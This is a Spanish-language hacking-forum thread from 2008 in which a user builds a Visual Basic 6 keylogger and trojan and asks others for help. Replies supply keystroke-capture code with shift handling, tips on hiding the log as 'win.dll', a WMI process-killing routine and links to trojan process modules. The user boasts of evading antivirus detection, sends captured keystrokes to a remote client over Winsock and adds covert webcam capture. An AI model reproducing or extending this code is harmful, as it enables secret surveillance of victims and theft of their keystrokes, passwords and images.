Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: elguast en 25 Noviembre 2008, 23:19 pm



Título: keylogger visual basic
Publicado por: elguast en 25 Noviembre 2008, 23:19 pm
buenas estoy haciendo un keylogger en vb6 y tengo un problemilla  ;D...
me captura todas las teclas bien pero cuando pulso una tecla ejemplo la h pues me sale mayuscula y minuscula  :rolleyes: asin todas las teclas como podria solucionarlo?


Título: Re: keylogger visual basic
Publicado por: seba123neo en 26 Noviembre 2008, 00:06 am
mirando el codigo y fijandote en donde entra al pulsar las teclas....en el codigo esta el problema  :P


Título: Re: keylogger visual basic
Publicado por: BlackZeroX en 26 Noviembre 2008, 04:44 am

Si tu hisiste el codigo del Keyloger deberias saber ¬¬. y si no preguntandole al creador o lee un manual de Basic.


Título: Re: keylogger visual basic
Publicado por: elguast en 26 Noviembre 2008, 10:33 am
el codigo no es mio pero lo estoy modificando en la mayor parte hasta lo detectaban 3 antivirus ahora ninguno el fallo creo que esta en el timmer..eso parece.. ;D
bueno ya esta solucionado  ;D


pero ahora jaaj me sale todo en mayusculas y no se por que?


Título: Re: keylogger visual basic
Publicado por: & eDu & en 26 Noviembre 2008, 20:01 pm
No creo que el fallo este en el timer, si apretas la h en minuscula siempre será en minuscula, un timer no la puede cambiar si no hay un código dentro que lo diga.


Título: Re: keylogger visual basic
Publicado por: elguast en 26 Noviembre 2008, 20:13 pm
es que resulta que en el timer tengo el codigo para que me mande las teclas pulsadas a mi cliente..pero ya solucione..lo que me pasa ahora es que me infecto con el server me funciona biien pero cuando me llega las pulsaciones me sale todo en mayuscula y nada en minuscula..sabes como lo solucionaria?


Título: Re: keylogger visual basic
Publicado por: & eDu & en 26 Noviembre 2008, 21:39 pm
Mira, haz que se guarde todo en un win.dll <-- para disimular, y abres el archivo y cuando tenga x caracteres que lo envie al cliente asi es más sencillo.


Título: Re: keylogger visual basic
Publicado por: ‭‭‭‭jackl007 en 27 Noviembre 2008, 03:24 am
mira debes tener una funcion que detecte si esta activado entonces la tecla shift, de ser asi cuando procedes con el reconocimiento de la tecla entonces deberias hacer una conversion si en caso esta activado... esto seria en el timer encargado de averiguar la tecla pulsada.
captas la idea?
lo mismo para el mayus...


Título: Re: keylogger visual basic
Publicado por: WestOn en 28 Noviembre 2008, 00:12 am
Wenas, si no pudiste cambiar lo de q esten en mayusculas puedes usar la funcion LCase:

Código
  1. Private Sub Command1_Click()
  2. Dim a As String
  3. a = LCase(Text1.Text)
  4. Text1 = a
  5. End Sub
Escribe algo en mayus en el text y luego se pasaran a minus, nose quiza te sirva si no lo solucionaste, un saludo ;)

PD:Con la funcion UCase cambia de mayus a minus :P


Título: Re: keylogger visual basic
Publicado por: gulabyte en 28 Noviembre 2008, 20:14 pm
Como ya han dicho, si repararas un poco en el codigo seguramente verias que no tienes ninguna sentencia que te distinga si la tecla es mayuscula o minuscula, es decir, que te verifique si al pulsar la tecla esta tambien pulsado el shift o no.

La funcion para el shift es la siguiente y devuelve un boolean

Código:
Public Function GetShift() As Boolean
    GetShift = CBool(GetAsyncKeyState(vbKeyShift))
End Function

Evidentemente tienes que tener declarada la funcion GetAsyncKeyState y que llege hasta donde esta el GetShift()

Asi despues en el timer del keylogger podrias poner

Código:
Case 57 'Para el numero 9
    If GetShift = True Then
        Written = Written & ")"
        Else: Written = Written & "9"
    End If

'Para las letras 65-90
Case 65 To 90
If GetShift = True Then
    Written = Written & UCase(Chr$(KeyCode))
    Else: Written = Written & LCase(Chr$(KeyCode))
End If

Case 188 'O por ejemplo la coma
If GetShift = True Then
    Written = Written & ";"
    Else: Written = Written & ","
End If

Si tienes algun problema con alguna tecla simplemente pon
Código:
MsgBox keycode
despues de la funcion que mira las pulsaciones y asi te devolvera el numero ASCII de la tecla, luego anades un case para ese numero y fuera....

Mira el codigo e intenta ver siempre por que no funciona

Modificado.
PDD El problema en si es que al no mirar si esta pulsada la tecla shift o no, la funcion GetAsyncKeyState te devuelve siempre 65 al pulsar la "a", 66 al pulsar la "b" y asi consecutivamente y estos numeros pertenecen a las mayusculas en el ASCII, el teclado no devuelve los numeros de las minusculas, que estan entre 97 y 122. Como tu obtienes la letra a partir del numero que te devuelve la funcion, pones siempre mayuscula.


Título: Re: keylogger visual basic
Publicado por: elguast en 28 Noviembre 2008, 22:57 pm
buenas noches gracias a todos por contestar  ;D

saludos. ::)


Título: Re: keylogger visual basic
Publicado por: elguast en 29 Noviembre 2008, 19:35 pm
quiero que mi cliente me muestre los procesos del administrador de tareas  de el servidor..como?



Título: Re: keylogger visual basic
Publicado por: seba123neo en 29 Noviembre 2008, 20:37 pm
si queres te hacemos el troyano desde 0 y vos le pones los controles nomas... :¬¬


Título: Re: keylogger visual basic
Publicado por: elguast en 30 Noviembre 2008, 00:16 am
pues seba123neo seria lo mejor no  ;D asin no pienso yo tanto no..  :rolleyes:
es broma no te enfades hombre..
lo que queria preguntar era con que funcion seria para ver los procesos,no preguntaba como se hace ni como hay que poner el code ni donde.

    saludos... ::)


Título: Re: keylogger visual basic
Publicado por: seba123neo en 30 Noviembre 2008, 02:03 am
bueno si es asi si, busca sobre la api llamada CreateToolhelp32Snapshot o la mas conocida EnumProcesses,o hasta con WMI lo podes hacer...en internet hay varios ejemplos de esto, sino bajate el api-guide ahi tenes ejemplos ya creados de todas las api's...

saludos.


Título: Re: keylogger visual basic
Publicado por: ‭‭‭‭jackl007 en 30 Noviembre 2008, 03:07 am
mira, esta funcion se encaarga de finalizar un proceso especifico, para esto hace una lista de los procesos, y va comparando uno a uno, si en caso es el solicitado lo finaliza.
Ahora tu encargate de meterlo eso a una cadena y luego recuperas los valores con split; es bien facil; ya no lo hago para que mas que sea hagas algo.

Si no sabes como hacerlo, te recomiendo que leas un BUEN MANUAL DE VISUAL BASIC antes de empezar a querer hacer un software.
De paso busca manuales y ejercicios de algoritmos, te servira mucho.
byes

Código
  1. Public Sub KillProcess(ByVal processName As String)
  2. '---CAPTURA DE ERROR---
  3. On Error GoTo ErrHandler
  4. '----------------------
  5. '---DECLARACIÓN DE VARIABLES---
  6.    Dim oWMI
  7.    Dim ret
  8.    Dim sService
  9.    Dim oWMIServices
  10.    Dim oWMIService
  11.    Dim oServices
  12.    Dim oService
  13.    Dim servicename
  14. '------------------------------
  15.  
  16. '--------------------SE OBTIENEN OBJETOS--------------------
  17.    Set oWMI = GetObject("winmgmts:")
  18.    Set oServices = oWMI.InstancesOf("win32_process")
  19. '-----------------------------------------------------------
  20.  
  21. '----------------------BUSCA EL PROCESO---------------------
  22.    For Each oService In oServices
  23.  
  24.        servicename = LCase(Trim(CStr(oService.Name) & ""))
  25.  
  26.        If InStr(1, servicename, _
  27.            LCase(processName), vbTextCompare) > 0 Then
  28.            ret = oService.Terminate
  29.        End If
  30.  
  31.    Next
  32. '-----------------------------------------------------------
  33.  
  34. '---------SE HACE NADA---------
  35.    Set oServices = Nothing
  36.    Set oWMI = Nothing
  37. '------------------------------
  38.  
  39. '---CAPTURA DE ERROR----
  40. ErrHandler:
  41.    Err.Clear
  42. '-----------------------
  43. End Sub
  44.  
  45.  
PD: la funcion no la hize yo, no recuerdo el autor.


Título: Re: keylogger visual basic
Publicado por: ricardovinzo en 30 Noviembre 2008, 03:25 am
aqui te dejo unos modulos (2) sobre eso.. uno usa puro APIs (es mejor mas avanzado, aunque hay APIs de ese modulo que son detectadas) y el otro usa WMI, este modulo esta como en tres foros del internet yo lo saco de la fuente original no son mios..

mLitleProcManager para trabajar con procesos... (http://foro.code-makers.es/mlitleprocmanager_para_trabajar_con_procesos-t2361.0.html)
Modulo para procesos mProcessManager (http://foro.code-makers.es/modulo_privado_modulo_para_procesos_mprocessmanager-t2760.0.html)

y mas tarde ( para rematar ) te subo un modulo para manejar procesos o mejor dos, uno de un troyano y otro de otroxD..
Espero te sirvan de ejemplo! ;)


Título: Re: keylogger visual basic
Publicado por: gulabyte en 30 Noviembre 2008, 20:40 pm

Creo que te has ido un poco del tema "elguast", si quieres preguntar sobre otra cosa ponlo en otro tema simplemente.

Podrías usa los comandos de la shell: "tasklist" para listar lo procesos y "taskkill" para matarlos... es mucho mas simple aunque mas chapuzero...

Salu10


Título: Re: keylogger visual basic
Publicado por: elguast en 1 Diciembre 2008, 13:37 pm
buenos dias mirar pongo mi keylogger me va de maravilla pero cuando pongo este codigo para capturar la imagen de la cam me entonces las teclas pulsadas si escribo un poco deprisa no las veo esto lo he puesto en el form_load:

Command1.Caption = "Conectar"
Text1.Text = "127.0.0.1"
If Command1.Caption = "Conectar" Then
Winsock1.CONNECT Text1, CInt(Text2)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer2.Enabled = True
Command1.Caption = "Desconectar"
Else
Timer2.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
Me.Caption = "Desconectado"
Command1.Caption = "Conectar"
End If

se que es por estas dos lineas:
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
como lo arreglaria